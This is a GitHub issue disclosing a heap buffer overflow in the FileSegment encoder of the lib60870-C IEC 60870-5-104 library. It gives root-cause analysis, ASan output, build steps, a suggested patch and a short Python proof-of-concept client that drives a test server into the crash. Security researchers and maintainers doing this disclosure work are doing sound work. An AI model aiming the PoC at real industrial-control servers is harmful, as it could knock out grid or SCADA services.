Skip to content

Heap-Based Buffer Overflow in FileSegment ASDU Encoding (CS101_ASDU_addInformationObject / FileSegment_encode) #201

Description

@gff-cw

Summary

A heap-based buffer overflow exists in lib60870-C v2.4.0 in the FileSegment information object encoding path used when constructing outgoing CS101/CS104 ASDUs.

The issue is triggered when a server-side application uses the public API to create a file-transfer ASDU and appends multiple FileSegment information objects with CS101_ASDU_addInformationObject(...). The first FileSegment can legally fill the ASDU payload exactly. A subsequent FileSegment is then still encoded even though no payload space remains. During the second addition, the library writes beyond the heap-allocated ASDU object.

This is not an application-side memcpy bug. The out-of-bounds write occurs inside lib60870-C, in the internal ASDU frame writer used by CS101_ASDU_addInformationObject(...).


Version

  • Affected version:v2.4.0

Impact

  • Confirmed impact: remote, triggerable denial of service in a real CS104 server path
  • Bug class: heap out-of-bounds write / heap-buffer-overflow
  • Crash behavior: reproducible ASan crash; in non-ASan builds this corruption is expected to result in process termination or unstable behavior depending on heap layout
  • Attack precondition: a remote CS104 client must reach a server-side response path that constructs a file-transfer ASDU with multiple FileSegment objects using the public API

Important scope note:
This is not an incoming-parser bug where a malformed FileSegment packet is parsed directly from the network.
It is a server-side encoder bug that is still remotely triggerable because a remote CS104 peer can cause the application to enter the vulnerable response-construction path.


Affected Path

Primary vulnerable path

  • lib60870-C/src/iec60870/cs101/cs101_asdu.c

    • asduFrame_appendBytes(...)
    • asduFrame_setNextByte(...)
    • asduFrame_getSpaceLeft(...)
    • CS101_ASDU_create(...)
    • CS101_ASDU_addInformationObject(...)
  • lib60870-C/src/iec60870/cs101/cs101_information_objects.c

    • FileSegment_encode(...)
    • FileSegment_GetMaxDataSize(...)
  • lib60870-C/src/inc/api/iec60870_common.h

    • internal ASDU backing store: encodedData[256]
    • public contract of CS101_ASDU_addInformationObject(...)

Remote trigger path used in the reproduction

  • CS104_Slave_start(...)
  • CS104_Slave_setInterrogationHandler(...)
  • interrogationHandler(...)IMasterConnection_sendACT_CON(...)
  • application constructs a file-transfer ASDU and appends FileSegment objects
  • IMasterConnection_sendASDU(...)

ASan output

=================================================================
==28495==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000002e8 at pc 0x710e536c119e bp 0x7ffdda8e1990 sp 0x7ffdda8e1988
WRITE of size 1 at 0x6120000002e8 thread T0
    #0 0x710e536c119d in asduFrame_appendBytes /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:64:19
    #1 0x710e537c7635 in Frame_appendBytes /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/frame.c:54:5
    #2 0x710e53730e93 in FileSegment_encode /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_information_objects.c:7678:5
    #3 0x710e536e9640 in InformationObject_encode /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_information_objects.c:186:12
    #4 0x710e536c5fb9 in CS101_ASDU_addInformationObject /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:291:27
    #5 0x584fd6b619bc in send_buggy_batch /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:101:13
    #6 0x584fd6b613ff in main /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:204:9
    #7 0x710e53229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #8 0x710e53229e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #9 0x584fd6aa34a4 in _start (/home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server_asan+0x1f4a4) (BuildId: c6c31d1805b658532068f77388accdcc4e3d0b1a)

0x6120000002e8 is located 0 bytes to the right of 296-byte region [0x6120000001c0,0x6120000002e8)
allocated by thread T0 here:
    #0 0x584fd6b262ee in __interceptor_malloc (/home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server_asan+0xa22ee) (BuildId: c6c31d1805b658532068f77388accdcc4e3d0b1a)
    #1 0x710e537d6cd4 in Memory_malloc /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/hal/memory/lib_memory.c:33:20
    #2 0x710e536c1967 in CS101_ASDU_create /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:91:47
    #3 0x584fd6b61629 in send_buggy_batch /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:70:26
    #4 0x584fd6b613ff in main /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:204:9
    #5 0x710e53229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:64:19 in asduFrame_appendBytes
Shadow bytes around the buggy address:
  0x0c247fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x0c247fff8030: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fff8050: 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa
  0x0c247fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==28495==ABORTING
Aborted (core dumped)

Root Cause

1. The ASDU uses a fixed internal buffer

CS101_ASDU_create(...) allocates a sCS101_StaticASDU.
The ASDU object contains a fixed internal backing array:

uint8_t encodedData[256];

This means that all outgoing information objects are encoded into a finite internal ASDU buffer. The write target is not provided by the application.

2. The internal frame writer has no bounds check

The relevant internal writer logic is effectively:

static void asduFrame_setNextByte(Frame self, uint8_t byte)
{
    ASDUFrame frame = (ASDUFrame)self;
    frame->asdu->payload[frame->asdu->payloadSize++] = byte;
}

static void asduFrame_appendBytes(Frame self, const uint8_t* bytes, int numberOfBytes)
{
    ASDUFrame frame = (ASDUFrame)self;
    uint8_t* target = frame->asdu->payload + frame->asdu->payloadSize;

    for (int i = 0; i < numberOfBytes; i++)
        target[i] = bytes[i];

    frame->asdu->payloadSize += numberOfBytes;
}

There is a helper to compute remaining space:

return (frame->asdu->parameters->maxSizeOfASDU
        - frame->asdu->payloadSize
        - frame->asdu->asduHeaderLength);

but the low-level write functions themselves do not enforce it.

3. The public API contract says insufficient space should return false

The public API documentation for CS101_ASDU_addInformationObject(...) states that the function returns:

  • true if the information object is added
  • false if there is not enough space left in the ASDU, or if the type/sequence is invalid

So, when the ASDU has no remaining space, the expected behavior is a safe failure (false), not a heap overwrite.

4. Many encoders already check Frame_getSpaceLeft(frame) correctly

The code base uses a common safe pattern in many encoders, e.g. logic of the form:

int size = isSequence ? N : (parameters->sizeOfIOA + N);

if (Frame_getSpaceLeft(frame) < size)
    return false;

This is the expected pattern for information-object encoders.

5. FileSegment_encode(...) only validates a per-object theoretical maximum

FileSegment_encode(...) validates self->los against FileSegment_GetMaxDataSize(parameters).
That value is a theoretical maximum for a FileSegment in an empty ASDU, not a check against the current remaining space in the ASDU that is already partially or fully occupied.

In the reproduced case:

  • default maxSizeOfASDU = 249
  • ASDU header length = 6
  • remaining payload capacity = 243
  • non-sequence FileSegment fixed overhead = 7 bytes
    • IOA = 3
    • NOF = 2
    • NOS = 1
    • LOS = 1

Therefore, the largest legal first segment payload is:

249 - 6 - 7 = 236

The harness uses exactly this value for the first FileSegment:

int firstSize = FileSegment_GetMaxDataSize(alParams);

and the resulting payload becomes:

payloadAfterFirst = 243

which exactly fills the ASDU payload space.

6. The second FileSegment is encoded anyway

The harness then appends a second FileSegment with segmentOverflowBytes = 64.

At that moment:

  • current payload size = 243
  • remaining payload space = 0

The second call should therefore fail cleanly and return false.

Instead, encoding proceeds and reaches:

CS101_ASDU_addInformationObject(...)
  -> InformationObject_encode(...)
    -> FileSegment_encode(...)
      -> Frame_appendBytes(...)
        -> asduFrame_appendBytes(...)

ASan confirms that the actual out-of-bounds write is in:

  • cs101_asdu.c:64 (asduFrame_appendBytes)
  • called from cs101_information_objects.c:7678 (FileSegment_encode)
  • reached via cs101_asdu.c:291 (CS101_ASDU_addInformationObject)

7. Why this is a library bug, not an application bug

The application uses only public library APIs:

  • CS101_ASDU_create(...)
  • FileSegment_create(...)
  • CS101_ASDU_addInformationObject(...)
  • IMasterConnection_sendASDU(...)

It does not write to the ASDU buffer directly.

The library documentation explicitly promises that CS101_ASDU_addInformationObject(...) will return false when there is not enough space. The application is entitled to rely on that contract.
The bug is that the library enters the encoder and writes past the end of the ASDU buffer instead of failing safely.


Server program

server.zip


Reproduction

POC client

import socket, struct, time, sys
host = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
port = int(sys.argv[2]) if len(sys.argv) > 2 else 2711
STARTDT_ACT=b"\x68\x04\x07\x00\x00\x00"
asdu = bytes([100,1,6,0,1,0,0,0,0,20])
def ctrl_i(ns,nr): return struct.pack('<HH', ns << 1, nr << 1)
def apdu_i(ns,nr,asdu): return b"\x68"+bytes([4+len(asdu)])+ctrl_i(ns,nr)+asdu
s = socket.create_connection((host, port))
s.sendall(STARTDT_ACT)
try:
    data = s.recv(64)
    print('STARTDT resp', data.hex())
except Exception as e:
    print('recv err', e)
s.sendall(apdu_i(0,0,asdu))
time.sleep(0.5)
s.close()

Build commands

Build the ASan/UBSan library

cmake -S lib60870-C -B build-asan \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_COMPILER=clang \
  -DCMAKE_C_FLAGS='-O0 -g -fno-omit-frame-pointer -fsanitize=address,undefined -fno-sanitize-recover=all' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build build-asan -j"$(nproc)"

Build the server

clang -O0 -g -fno-omit-frame-pointer -fsanitize=address,undefined \
  -Ilib60870-C/src/inc/api -Ilib60870-C/src/hal/inc -Ilib60870-C/src/common/inc \
  audit/fileack_batch_server.c -Lbuild-asan/src -llib60870 -lpthread \
  -o audit/fileack_batch_server_asan

Run the server

LD_LIBRARY_PATH=build-asan/src \
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 \
UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 \
stdbuf -oL -eL ./audit/fileack_batch_server_asan 2711 segment 64

Trigger from a second terminal

python3 poc.py 127.0.0.1 2711

Observed client output

python3 poc.py 127.0.0.1 2711
STARTDT resp 68040b000000

Observed server-side pre-crash state

The harness prints:

[server] mode=segment firstSize=236 added=1 payloadAfterFirst=243
[server] mode=segment secondSize=64 payloadBeforeSecond=243

This is the key proof:

  • the first FileSegment is accepted as valid
  • the ASDU payload is now exactly full
  • the second FileSegment is then still encoded
  • the library overflows the ASDU backing buffer

Result analysis

This is a real encoder-side heap overwrite in the library:

  • the allocation originates in CS101_ASDU_create(...)
  • the write happens in asduFrame_appendBytes(...)
  • the trigger uses a real networked CS104 server path
  • the application code never writes directly into the internal ASDU buffer

Fix Suggestion

Minimal fix

The simplest fix is to make FileSegment_encode(...) validate the current remaining space before writing any bytes.

A minimal patch concept is:

static bool
FileSegment_encode(FileSegment self, Frame frame, CS101_AppLayerParameters parameters, bool isSequence)
{
    int needed;

    if (self->los > FileSegment_GetMaxDataSize(parameters))
        return false;

    needed = (isSequence ? 0 : parameters->sizeOfIOA) + 2 + 1 + 1 + self->los;

    if (Frame_getSpaceLeft(frame) < needed)
        return false;

    InformationObject_encodeBase((InformationObject) self, frame, parameters, isSequence);

    Frame_setNextByte(frame, (uint8_t)(self->nof & 0xff));
    Frame_setNextByte(frame, (uint8_t)((self->nof >> 8) & 0xff));
    Frame_setNextByte(frame, self->nameOfSection);
    Frame_setNextByte(frame, self->los);
    Frame_appendBytes(frame, self->data, self->los);

    return true;
}

Why this fix is sufficient

  • it preserves the documented API behavior of CS101_ASDU_addInformationObject(...)
  • it rejects a FileSegment when the current ASDU has insufficient room
  • it aligns FileSegment_encode(...) with the existing safe pattern already used by many other information-object encoders

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions